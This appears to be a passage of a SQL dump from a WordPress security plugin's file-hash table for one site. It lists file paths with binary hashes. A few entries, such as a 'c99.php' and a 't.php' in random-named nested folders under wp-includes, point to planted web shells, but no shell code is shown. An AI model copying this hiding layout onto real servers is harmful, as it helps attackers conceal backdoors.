(':$d4','wp-content/plugins/akismet/_inc/rtl/akismet-rtl.css','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/rtl/akismet-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tv]2jPܘ3','T)OM)	,/1*v8pw\Z\'ri','',0,'?'),
('HS!; ','wp-admin/js/user-profile.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/user-profile.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Vf=9R','|v9ެE(rC1C+b1^','',0,'?'),
('@}~4Gv<m','wp-includes/sodium_compat/src/Core32/X25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/X25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gbf>=','ߺ`\'盱Жx#i#','',0,'?'),
('+qpW','wp-includes/update.php','/home/trevorkl/trevorklee.com/wp-includes/update.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4jCcr̔','`0zҐ,\ZhuZC','',0,'?'),
('`&X<aQVh\\','wp-admin/user/profile.php','/home/trevorkl/trevorklee.com/wp-admin/user/profile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x8!xSj','Jfv^Dwۦ\nsBu/L','',0,'?'),
('yY)hNÁ','wp-includes/js/dist/customize-widgets.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/customize-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RϪRfZ \0',' L4L#Gr+#g2','',0,'?'),
('}bաN','wp-includes/js/dist/core-commands.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-commands.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':\'Hm3c$sU','`ic,,\\ɜgS','',0,'?'),
('\rV2P-+x@','wp-content/themes/twentynineteen/template-parts/header/site-branding.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/header/site-branding.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','inF>_<','$SN}T#/\r{+(鶶','',0,'?'),
('gxAȢ}g','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gנfi#進','	Ȧ!\rbGwMe ٽkFfqė|','',0,'?'),
('j\n^smͷ','wp-includes/blocks/comment-edit-link/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"I_;\"','Ms~vwy}Jܬ96Q$ۺo','',0,'?'),
(' @;*|','wp-includes/Text/Diff/Engine/string.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/string.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ùfrZ','.0دl>/H-/p4{De[%%NX','',0,'?'),
('cp~0{fe','wp-includes/images/media/document.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/document.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KCӫMC	o','}vLXULmiQQpH	ߜ','',0,'?'),
(']pR/$1','wp-content/plugins/wordfence/views/common/page-fixed-tabbar.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/page-fixed-tabbar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̧\0㛵th','<Fl<١	]J\"-5Ip^%~','',0,'?'),
('Nm?Xaˌ','wp-content/plugins/wordfence/css/license/free.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/free.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&$Sք3	V','	L{\0p\'%dBD7~BbI*','',0,'?'),
('=Tz?}H0l\Z\"','wp-content/themes/twentytwentyfour/styles/maelstrom.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/maelstrom.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{?yc#','ct@wLZh[9MyZ,Ts@𼈉u','',0,'?'),
('+M%䣤','wp-includes/Requests/src/Exception/Http/Status405.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status405.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1#cN','y3<<۴yHߏS9QaFٯ','',0,'?'),
('eURϴ','wp-content/plugins/wordfence/lib/wfInaccessibleDirectoryException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfInaccessibleDirectoryException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3hZ-p{|','sʸl\n~f!teO[','',0,'?'),
('_wƌ','wp-includes/widgets/class-wp-widget-media-video.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-video.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ĉ.PcGkL.','J@OYyOxۋ9v/5]','',0,'?'),
('гВyw','wp-content/themes/twentytwentytwo/inc/patterns/footer-logo.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-logo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n.Եq','+A[&L9K?Y^$u','',0,'?'),
('A-zN','wp-content/themes/twentynineteen/inc/helper-functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/helper-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\ZBi:','\ZʹR24\'l0c\"*','',0,'?'),
('-|VH%','wp-admin/site-health.php','/home/trevorkl/trevorklee.com/wp-admin/site-health.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}I\'(i>s','wFo7 eG\"	EI-*>7cJF','',0,'?'),
('ǢBմ(\\0J','wp-includes/class-wp-text-diff-renderer-inline.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-text-diff-renderer-inline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#ƏY ^\"}','qVVQ`X+Ί:>ZV/v6','',0,'?'),
(' e07,93','wp-includes/SimplePie/library/SimplePie/Copyright.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Copyright.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tX &7\0,','>Ov_nHѾ~.&5KH5gZ','',0,'?'),
('.hVoNK;c','wp-content/themes/twentytwentyfour/templates/archive.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/archive.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2;\n','OWSh9-q.h!.n%y.^Yn7','',0,'?'),
('>I7m>꣍','wp-includes/blocks/embed/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rz8F|Oے#^','\'	=c; >fs>x(O\'^','',0,'?'),
('?pɎ>3p%$Eϔ','wp-includes/blocks/pattern/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/pattern/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('D=SC','wp-includes/sodium_compat/src/Core/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`¶6$pYZh','x\rYLg{}\0g4g޲VҍuP','',0,'?'),
('FնZyVk&3','wp-content/plugins/wordfence/views/scanner/text/issue-wpscan_fullPathDiscl.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wpscan_fullPathDiscl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a]TGkɨVnL','3\ZkuQ10W/U	@{Ē\'\\,','',0,'?'),
('ke<F4','wp-admin/js/revisions.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/revisions.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƛ~cet)P','5ҰX\n4t\r/ܮGpMZ','',0,'?'),
('D=K49','wp-includes/js/codemirror/codemirror.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/codemirror.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','23j1(D','Ό,au@sY%K-on\r','',0,'?'),
('̴yVpda','wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/c99.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/c99.php',0,'Ls~_=ϵ','Ls~_=ϵ','TZe[*P}\\PHLaEg','',0,'?'),
('CMp<E','wp-includes/class-wp-oembed.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-oembed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' `}gW\r>KFI','|O%5FSY25\"tl6O!','',0,'?'),
('9뽍X^E݃','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/README.md','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/README.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l,\08`K\nNFN','[h$S#ƀ\\Z뾞dP@[;','',0,'?'),
('DۜOB S%','wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css.map','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css.map',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SoԼ]+N','/F\nxftG\r+6wkCp','',0,'?'),
('6K1(}/AX','wp-admin/network/user-new.php','/home/trevorkl/trevorklee.com/wp-admin/network/user-new.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n.4uTfȘ','󒉐2GՂ$}e9,Fpɱ','',0,'?'),
('Ɏ	aɨ&#','wp-content/plugins/akismet/views/footer.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$H*o|DQ^','!g\r@A0;2ৃפ5>Sn	','',0,'?'),
('3RCV','wp-includes/blocks/calendar/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E!\nk݄uscь','}^i\rة-= J#\n','',0,'?'),
('ݧlpS*LST$8/','wp-content/themes/twentytwentyone/assets/sass/01-settings/file-header.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/file-header.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4zNYe*EuZb','Lp\ru.s8A3W)`\\\0','',0,'?'),
('ĩ}x(T','wp-includes/js/dist/block-library.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-library.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G@4Q0W','4ŁlȟҼ$DYHYz$','',0,'?'),
('Th^MHVs','wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation-copyright.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation-copyright.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s.J}v%ă%','.}PDrMohZZ	Czh^+tҽ','',0,'?'),
('^Q6lJ!	ͦ','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/json.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/json.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xGSw','vOa?%)Lfb\ngIv3mt\"','',0,'?'),
('+x~ yi&\0Q','wp-content/themes/twentytwentyone/template-parts/header/site-nav.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/site-nav.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sQ\r,EDj','\\tߋ0!#vYcFCsQ','',0,'?'),
('0$\'`Õn\\','wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R95B','&4\"|dQr)D4,+x','',0,'?'),
(':t;kiPVtsm','wp-includes/blocks/image/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/view.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#$LH+HX~8|ŷ','с%T_X;Rk(99mܙ8:S','',0,'?'),
('CF1	\\OW','wp-includes/SimplePie/src/HTTP/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AW_h^d!(F^','t ǿA&ZkE3G#\'/<Im','',0,'?'),
('V	덵Wky	','wp-includes/blocks/navigation-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',Ѩr&I:=','$J諡cREZ쏱ZԬG','',0,'?'),
('\\\Z}dqP0G','wp-content/themes/twentytwentytwo/inc/patterns/query-simple-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-simple-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\u5ƙ\'0uk','c8HؕkŗyZ1J+^Ł(R','',0,'?'),
('g7=!J@x(~','wp-content/themes/twentytwentyfour/patterns/hidden-post-navigation.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-post-navigation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s-ݎ\'ۂ6','@S$Gxzks>!*sѻbhqya','',0,'?'),
('ʧT\r<p','wp-content/themes/twentytwentytwo/assets/fonts/inter/Inter.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/inter/Inter.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t,gI*lu','3z̚4tv*e3yZq\'','',0,'?'),
('ɱ%a{Zj	%','wp-includes/class-wp-editor.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rVoms5','Ey9\"m煮j{ת','',0,'?'),
(',`ttb7','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/i18n.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/i18n.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MP<^fG C','V$oBޞjf0֫QxuT=a`K','',0,'?'),
('8K ?O]ʹY','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/rules.key','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/rules.key',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZlY^[F\r2xʻ','6=Sq-5 )EL}AViA]','',0,'?'),
(':v\0֌s','wp-includes/blocks/post-comments-form/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J1`\\\0ۘ\n2','ԜFB\n~v]JGټSl>`g6D','',0,'?'),
('Qk+)|iÞ','wp-includes/Requests/src/Exception/Http/Status429.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status429.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`Rm\ZpM={;|:','\\]b/ӵ$[ڃ<DǨ-p','',0,'?'),
('苼3','wp-includes/blocks/shortcode/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-%V@0У','tၠ;\nׄpPn/8!9UoI\\k-','',0,'?'),
('pl4[e','wp-admin/js/inline-edit-tax.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/inline-edit-tax.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u,2/b3S','Fc{+o>\n4PT,S','',0,'?'),
('{HQT','wp-content/plugins/wordfence/css/activity-report-widget.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/activity-report-widget.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J^x;yc','ӡfaMWv+W%}`DN','',0,'?'),
('l]g	SDn','wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']O\\\0','U\'F䒕DP8nYfk','',0,'?'),
('Ѝ3>#.','wp-includes/rest-api/class-wp-rest-request.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/class-wp-rest-request.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9FL7R](%lrh','BsS8aD$f|jSҡzҜ','',0,'?'),
('K|H#[x','wp-includes/blocks/tag-cloud/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vJC?b,','_ln\".ק6+3TgV	`p','',0,'?'),
('R=*dn','wp-admin/includes/media.php','/home/trevorkl/trevorklee.com/wp-admin/includes/media.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MIc[p?ټy','4N?\n3AeOӸ͖&ˑ','',0,'?'),
('\r׍K{!','wp-includes/css/dist/block-library/elements.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/elements.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sHH㑡 ','/hLLʭShHJԺ4  \"?A@','',0,'?'),
('	LI<','wp-includes/Requests/src/Exception/Http/Status416.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status416.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J@E[X2Q\'','C:ϧgw3eI͹s\\w9H8X/','',0,'?'),
('8=[ձ','wp-content/plugins/wordfence/modules/login-security/views/page/manage.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/manage.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jV-F:\"E','/6[Nh1RB&Y8;5d4','',0,'?'),
('A)͹D4','wp-includes/pomo/plural-forms.php','/home/trevorkl/trevorklee.com/wp-includes/pomo/plural-forms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[/g\0ZX','g/-`jl_Xk*YqGґX','',0,'?'),
('\"(b?\Zgsq','wp-includes/css/dist/reusable-blocks/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MWZL','bWD.$L}.,ak','',0,'?'),
('-^g̺@\0/','wp-content/index.php','/home/trevorkl/trevorklee.com/wp-content/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gD,V=\\bP','k~	UH\ZxPĀ<;X','',0,'?'),
('.նZg{=','wp-admin/css/customize-controls.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-controls.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','As&qѢ7%I$','mDw\0S8ힿ*i','',0,'?'),
('4/ف~<+','wp-includes/blocks/post-excerpt/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!a}óԽ','7A=Mb$:DsNJ``z$ս','',0,'?'),
('6\nz,Z','wp-content/themes/twentytwentyfive/patterns/footer-newsletter.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-newsletter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=HV#X;]a','r2WܬV!shh]5t&c','',0,'?'),
(':Y>=','wp-includes/blocks/media-text/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-398KK','P>!ͤ\"nW]c\']b\\m','',0,'?'),
('k0k⟆VX','wp-includes/blocks/file/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sMdz׌H','f\"VN倴{Bs?Ŀ)a;sj:','',0,'?'),
('n:zW_BSR','wp-includes/js/jquery/ui/resizable.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/resizable.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P8Xlh\";sc;','hEwK@(XT3wrXdl$zL','',0,'?'),
('$*-ً','wp-includes/blocks/quote/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q\rλw#',']y.ߛg-}M9Ӂ\'첖s)','',0,'?'),
('~a%!P','wp-includes/js/tinymce/skins/wordpress/images/pagebreak-2x.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/pagebreak-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{6#UQ:|>#','([\n̻oRAo3^','',0,'?'),
('e\Zၕt','wp-includes/Requests/src/Port.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Port.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t2ANr8)','O]gcxI3x숥Z\Z?<\'Ha','',0,'?'),
('L?@.~O','wp-admin/css/colors/midnight/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A$DCAotG','B?XGB[\0;UX;{(!Qc','',0,'?'),
('g&S5V\Z&','wp-content/themes/twentytwentytwo/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%wAu%oN',']A	UaH̑KLr','',0,'?'),
('GP~Y','wp-includes/blocks/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('T\ne.(','wp-includes/class-wp-image-editor.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-image-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pvg^̂v1D4','+\nmAl=D/M%AHɀ@','',0,'?'),
('ؘ-m4)}	','wp-includes/js/dist/reusable-blocks.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/reusable-blocks.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[4/.y','ZI\'i._+A\"wէ\'6X]e4','',0,'?'),
('<uRg!/','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/t.php','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/t.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
('ڳ5A','wp-includes/SimplePie/src/IRI.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/IRI.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WK0ܞE}','P?Ļ\0PY^TʟK3x\r|{3','',0,'?'),
(' F\nGw\\0A','wp-includes/rest-api/endpoints/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('KvKM;','wp-includes/blocks/comment-content/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nFMj\Z','f!v}>CNM\0I7\"\"8IT','',0,'?'),
('Zp%\'n\ZWj','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_real.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_real.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C\'#Q#*G','t}=EhY	2|F\"نژ','',0,'?'),
('}PÛP\\\Z','wp-includes/js/tinymce/plugins/wpautoresize/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpautoresize/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+q{[*$+','!K\\jYOG\r','',0,'?'),
('R,A\ZGJ\'-','wp-includes/default-filters.php','/home/trevorkl/trevorklee.com/wp-includes/default-filters.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q!LE','\\o]Jΐ3SBp)M&%\"K','',0,'?'),
('\n4{','wp-admin/includes/error_log','/home/trevorkl/trevorklee.com/wp-admin/includes/error_log',0,'YΌEv	','YΌEv	','LiHb=;&!U~}rK9','',0,'?'),
('g(355k(','wp-includes/blocks/heading/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1z	1[m','3On97m\\Ox','',0,'?'),
('\n\\ɶ.5','wp-includes/images/xit.gif','/home/trevorkl/trevorklee.com/wp-includes/images/xit.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?`pR,_p','A\0|=fJS<|','',0,'?'),
('	O=Suh[1','wp-includes/blocks/term-template/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ЬpIYR','wp-includes/sodium_compat/src/Core32/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FKy\"J','~T)_ԇYH+ɏ\'	;','',0,'?'),
('\nNL<ffJi+$iC','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/MmdbException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/MmdbException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l2̢=|\n^','\ree:Ψ<iߒ#4؃)\"V','',0,'?'),
(':ls{<^K?','wp-includes/js/dist/vendor/react-jsx-runtime.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-jsx-runtime.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-G0>C','%owZ֪zօ','',0,'?'),
('\08e','wp-includes/css/dist/theme/design-tokens-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens-rtl.min.css',0,'2V؁opڸ','2V؁opڸ','ˡ5BH`@A1GHQ','',0,'?'),
(' cO4ĨǖM','wp-includes/blocks/post-terms/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z^kNұ\Z)','?㷷(s\'˭#l<RTe','',0,'?'),
('$u;I_{\nr','wp-includes/css/dist/patterns/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/patterns/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('(ЊQB&Q?','wp-includes/blocks/categories.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s5,&','B&C8rg^U|ٓ7AU>','',0,'?'),
('*>F0p\ZeM{ɟ<','wp-includes/css/dist/block-editor/content.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/content.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$TY>S.x r','!NHH/aw}','',0,'?'),
('-qƣZ0	u','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W&hE5Ox','1\r*h\\BoB}_XD7','',0,'?'),
('D]|߼$','wp-includes/js/mediaelement/wp-mediaelement.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-mediaelement.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d \r.K;I;','V@=jֆ<DHqs','',0,'?'),
('MESD,:z','wp-content/plugins/akismet/_inc/akismet-frontend.js','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-frontend.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B:TL~eۤ','Z3\n~\rGW/K|\0P','',0,'?'),
